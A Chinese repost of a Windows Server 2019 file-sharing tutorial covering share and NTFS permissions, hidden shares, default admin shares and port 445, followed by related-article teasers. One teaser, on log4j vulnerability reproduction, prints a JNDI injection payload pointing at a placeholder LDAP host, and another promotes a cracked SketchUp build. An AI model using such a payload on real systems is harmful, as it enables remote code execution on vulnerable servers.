windows server 2019-搭建文件共享服务器

news2024/11/27 15:54:38

一、共享服务器概述

通过网络提供文件共享服务、提供文件下载和上传服务(类似FTP服务器)

文件共享使用的是CIFS协议(微软开发,微软全系服务器都自带此服务)

FTP服务器对外(给客户)

文件共享(CIFS)对内好用

二、创建普通共享

前提:两台实验机需要在同网段(统一局域网),我的试验机都是虚拟机,选择的联网模式是都是仅主机(vmnet1是仅主机的交换机,选择其他联网模式都可以,只要保证两台试验机都选择相同的联网模式,之后如果是自己静态设置ip的话需要保障他们的IP在同网段,如果动态获取的话,话,则不需要改动,接下来保证两台机子能互相ping通即可),查询两台机子后,并使用ping命令保证两台机子都能ping通。

方法:右击要共享的文件夹--属性--高级共享--开启共享--设置共享名和权限

注意:

1,在本地登录时,仅受NTFS权限影响(本地用户登录时,)

2,远程登录时,将受共享及NTFS权限的共同影响,且取交集

3、建议设置共享权限位everyone完全控制,然后具体的权限需求在NTFS权限中设置即可

如果没有添加可以远程共享的用户那么在用户机登录的时候,只能用创建文件的拥有者的账号登录。其他账户没有登录访问共享文件的权限,我这里选的是everyone,因此,我管理员的账户,以及其他普通用户都能被远程登录访问共享文件夹。

三、访问共享

\\代表网络路径(UNC地址)+开启共享服务的ip+\+共享名(共享时候设置的文件夹名,如果没有设置的话,就是共享文件夹自己本身的名称)

win+r

\\192.168.120.128\share

注意:这个地方能访问到共享的一个重要的点就是,服务器上面供你登录的账号必须要有密码,否则登录不上,使用管理员账号登录,也必须要密码!!! 

下面用没有密码的账户c登录:

使用有密码的服务器上的账户a登录: 

四、共享权限和NTFS权限的实验:

要求:a用户只能在downlaod文件夹里面下载:

1、准备了一个共享文件夹data,data下有3个子文件夹。

2、设置好共享文件夹data的共享权限

3、设置子文件夹download的NTFS权限

首先取消data文件夹NTFS的继承权限,如果不取消,那么用户在data文件上的权限,在子文件上也会有,NTFS的权限是累加的,这点和共享不同。

1)修改everyone的NTFS的权限(此方法不仅会作用在a用户上也会作用在所有用户上,针对不同的实际情况去选择)

2)添加用户a,给用户a单独分配权限

3)检测:先做下载的操作将文件托到本地上,然后对文件进行新建修改等操作。

五、创建隐藏共享文件夹

服务器创建隐藏的共享文件夹:

用户机访问共享文件无法看到:

要看到的话需要在访问路径里面添加完整文件夹名字(yincang$)

六、共享存在的隐患

net share(查看电脑上所有的共享文件)

由下图可知,我们的C,D等盘都是默认共享的,也就是说,当别人知道你的账户密码之后可以通过共享访问到你的C,D等盘上的资源。

使用 net share 共享文件夹名 /del删除共享

注意:此删除要管理员的权限才能删除;其次下一次电脑重新启动的时候依然存在C,D等盘的共享,要彻底杜绝的话需要在注册表里面去修改,或者将刚刚的删除命令写到批处理里面去。

注册表:

打开注册表编辑器

win+r

regedit

定位到共享文件的位置HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters

七、共享服务关闭

当你的服务器不提供任何资料的共享,那么为了安全起见可以将共享服务关闭,也就是将445端口

关闭掉。

services.msc 打开服务管理器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1578091.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

04 Python进阶:MySQL-PyMySQL

什么是 PyMySQL? PyMySQL 是一个用于 Python 的纯 Python MySQL 客户端库,提供了与 MySQL 数据库进行交互的功能。PyMySQL 允许 Python 开发人员连接到 MySQL 数据库服务器,并执行诸如查询、插入、更新和删除等数据库操作。 以下是 PyMySQL …

微服务架构下,如何通过弱依赖原则保障系统高可用?

前言 当我初次接触高可用这个概念的时候,对高可用的【少依赖原则】和【弱依赖原则】的边界感模糊,甚至有些“傻傻分不清楚”。这两个原则都关注降低模块之间的依赖关系,但它们之间的确存在某些差异。 那么,「少依赖原则」和「弱…

C#操作MySQL从入门到精通(8)——对查询数据进行高级过滤

前言 我们在查询数据库中数据的时候,有时候需要剔除一些我们不想要的数据,这时候就需要对数据进行过滤,比如学生信息中,我只需要年龄等于18的,同时又要家乡地址是安徽的,类似这种操作专栏第7篇的C#操作MySQL从入门到精通(7)——对查询数据进行简单过滤简单过滤方法就无法…

《CSS 知识点》仅在文本有省略号时添加 tip 信息

html <div ref"btns" class"btns"><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很长的文本.有省略号和tip.<…

移动平台相关(安卓)

目录 安卓开发 Unity打包安卓 ​编辑​编辑 BuildSettings PlayerSettings OtherSettings 身份证明 配置 脚本编译 优化 PublishingSettings 调试 ReMote Android Logcat AndroidStudio的调试 Java语法 ​编辑​编辑​编辑 变量 运算符 ​编辑​编辑​编辑​…

后端说处理了跨域但没有生效

场景&#xff1a; 常见的跨域报错&#xff0c;一般都是由后端进行setHeader/*什么的。但是现在这种情况就是后端说他们做了处理。但是我这边请求还是报错。 withCredentials: with-credentials用来设置是否发送cookie&#xff0c;如果为true就会在跨域请求时候携带cookie&…

5个最佳的免费AI图像生成器

原文地址&#xff1a;https://readwrite.com/ai-5-of-the-best-free-ai-image-generators/ Ideogram: Social AI image generator, limited daily prompts, impressive quality.NightCafe: Creative options, custom model training, limited free daily credits.Runway AI: A…

DolphinScheduler 答案整理,最新面试题

DolphinScheduler的架构设计是怎样的&#xff1f; DolphinScheduler的架构设计主要分为四个层次&#xff1a;前端界面层、API服务层、调度层和执行层。 1、前端界面层&#xff1a; 提供任务的定义、流程的设计、监控等功能&#xff0c;用户通过前端界面操作整个系统。 2、AP…

【MySQL数据库 | 第二十三篇】什么是索引覆盖和索引下推

前言&#xff1a; 在数据库查询优化领域&#xff0c;索引一直被视为关键的工具&#xff0c;用于提高查询性能并加速数据检索过程。然而&#xff0c;随着数据库技术的不断发展&#xff0c;出现了一些新的优化技术&#xff0c;其中包括索引下推&#xff08;Index Pushdown&#…

使用Nodejs + express连接数据库mongodb

文章目录 先创建一个js文档安装 MongoDB 驱动程序&#xff1a;引入 MongoDB 模块&#xff1a;设置数据库连接&#xff1a;新建一个表试试执行数据库操作&#xff1a;关闭数据库连接&#xff1a; 前面需要准备的内容可看前面的文章&#xff1a; Express框架搭建项目 node.js 简单…

SketchUp Pro 2024 (草图大师2024)win/mac激活版

SketchUp Pro 2024 (草图大师2024)win/mac激活版(su建模软件,草图大师2024中文版)是一款全球知名的三维建模软件,绘图工具,建模渲染,扩展插件和渲染器模板,海量3D模型及建模灯光材质渲染效果图,用于建筑,城市规划专家,游戏开发等行业。 SketchUp Pro 的主要特点包括&#xff1a…

C++ | Leetcode C++题解之第8题字符串转换整数atoi

题目&#xff1a; 题解&#xff1a; class Automaton {string state "start";unordered_map<string, vector<string>> table {{"start", {"start", "signed", "in_number", "end"}},{"signed…

AssetBundle在移动设备上丢失

1&#xff09;AssetBundle在移动设备上丢失 2&#xff09;Unity云渲染插件RenderStreaming&#xff0c;如何实现多用户分别有独立的操作 3&#xff09;如何在圆柱体类型的地图中编程玩家的输入 4&#xff09;Mixamo动画的根运动问题 这是第380篇UWA技术知识分享的推送&#xff…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

算法学习 | day36/60 背包问题/分割等和子集

一、题目打卡 1.1 二维背包问题 题目链接&#xff1a;46. 携带研究材料&#xff08;第六期模拟笔试&#xff09; #include<iostream> #include<vector> using namespace std;int n, bagweight;// bagweight代表行李箱空间 void solve() {vector<int> weight…

云手机提供私域流量变现方案

当今数字营销领域&#xff0c;私域流量是一座巨大的金矿&#xff0c;然而并非人人能够轻易挖掘。一家营销公司面临着利用社交、社区、自媒体等应用积累私域流量&#xff0c;并通过销售产品、推送广告等方式实现流量变现的挑战与困境。本文将详细介绍这家公司是如何通过云手机&a…

Flutter学习11 - Future 与 FutureBuilder

1、Future 可以利用 Future 实现异步调用 1.1、Future 的两种形式 自定义一个结果类 class Response {String _data;Response(this._data); }自定义方法实现 Future Future<Response> testFuture() {var random Random();int randomNumber random.nextInt(10);if …

IDEA页面配置:(基本配置)

IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09; 文章目录 IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09;前言&#xff1a;一、主要内容&#xff1a;&#x1f60d;1. 页面背景改为 白色&#xff08;设置主题&#xff09;2. &#xff08;设置字体&#…

基于java+springboot+vue实现的教学辅助系统(文末源码+Lw)23-225

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#…

Java常用API_System——常用方法及代码演示

1.System.exit(int status) 方法的形参int status为状态码&#xff0c;如果是0&#xff0c;说明虚拟机正常停止&#xff0c;如果非0&#xff0c;说明虚拟机非正常停止。需要将程序结束时可以调用这个方法 代码演示&#xff1a; public class Test {public static void main(S…